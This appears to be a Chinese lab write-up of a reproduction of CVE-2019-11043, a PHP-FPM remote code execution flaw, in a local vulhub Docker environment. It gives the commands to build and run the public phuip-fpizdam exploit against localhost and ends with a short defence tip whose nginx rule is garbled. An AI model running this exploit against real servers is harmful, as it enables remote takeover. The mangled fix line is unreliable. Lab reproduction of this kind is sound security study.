PHP 远程代码执行漏洞复现CVE-2019-11043

漏洞名称
PHP 远程代码执行漏洞复现CVE-2019-11043

准备工作:安装 docker

sudo apt-get install docker docker-compose

我这边已经安装过了 查看一下docker的版本

在这里插入图片描述

安装golang 环境

sudo apt install golang

搭建漏洞环境
git clone https://github.com/vulhub/vulhub.git

cd vulhub/php/CVE-2019-11043

docker-compose up -d

在这里插入图片描述

docker拉取太慢的问题

可以去阿里云URL: https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors

获取镜像加速器 配置到自己的/etc/docker/daemon.json中

进入docker查看一下

docker ps

在这里插入图片描述

可以看到的 两个容器 一个php 7.2.10

一个nginx 可以看到的默认端口是8080端口

访问127.0.0.1:8080/index.php 页面

在这里插入图片描述

【EXP/POC】
漏洞利用github已经放出来了
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go env -w GOPROXY=https://goproxy.cn //换一个国内的代理
go get -v && go build
编译成功后 go run . “http://127.0.0.1:8080/index.php”

在这里插入图片描述

我们去docker查看一下

可以看到echo 反引号 直接执行get传过来的a变量

命令执行

这里注意一下哇 只有部分PHP-FPM子进程受到了污染,多访问两次URL 才能成功执行命令

在这里插入图片描述
在这里插入图片描述

远程代码执行 成功!

【防御方式】
如果配置文件有fastcgi_split_path_info,就加上if(!-f document_rootdocument
r

ootfastcgi_script_name){return 404;},如果没有,则无需修改。

猜你喜欢

转载自blog.csdn.net/wo41ge/article/details/113704085